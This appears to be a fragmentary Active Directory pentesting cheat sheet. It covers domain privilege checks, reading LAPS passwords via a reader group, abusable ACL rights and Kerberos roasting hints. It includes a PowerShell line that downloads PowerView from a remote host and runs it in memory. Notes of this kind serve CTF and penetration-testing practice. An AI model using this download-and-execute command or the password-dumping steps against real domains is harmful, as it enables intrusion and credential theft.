Active Directory Recon

Enum all inside domain

Check User's Priviledge in Domain

net user <current user> /domain

Global Group = PswReader

this group is able to read LAPS

Global Group memberships *Domain Users *PswReaders

// import the powerview.ps1
IEX (New-Object Net.WebClient).DownloadString('http://192.168.x.x/powerview.ps1')

// dump the password information

Get-ADObject <hostname1>,<hostname2>

Object Control List (ACL)

GenericAll --> Full permission on object
GenericWrite --> Edit certain attributes on the object
WriteOwner --> Change ownership of the object
WriteDACL --> Edit ACE's applied to object
AllExtendedRights --> Change password, reset password, etc.
ForceChangePassword --> Password change for object
Self (Self-Membership) --> Add ourselves to for example a group

Priviledges: Domain User

  1. LDAPSearch.ps1

Filter

ref: https://www.youtube.com/watch?v=-xF6bvbXCGE&list=PL8383xoY3ZibjcFWjDhabUGOjoZ4Ke8Yu&index=2

  1. Using Powershell

Have User & Pass SVC?

Some times services account indicate a Ticket possibility: Don't miss this check:

[Have SPN]

Have User List?

Is there config "kerberost pre-auth is disable" on user.

TGT?

look at htb scrambled

PsLoggedon.exe

Check logged on users on the remote computer via active directory.

Seatbelt.exe

Last updated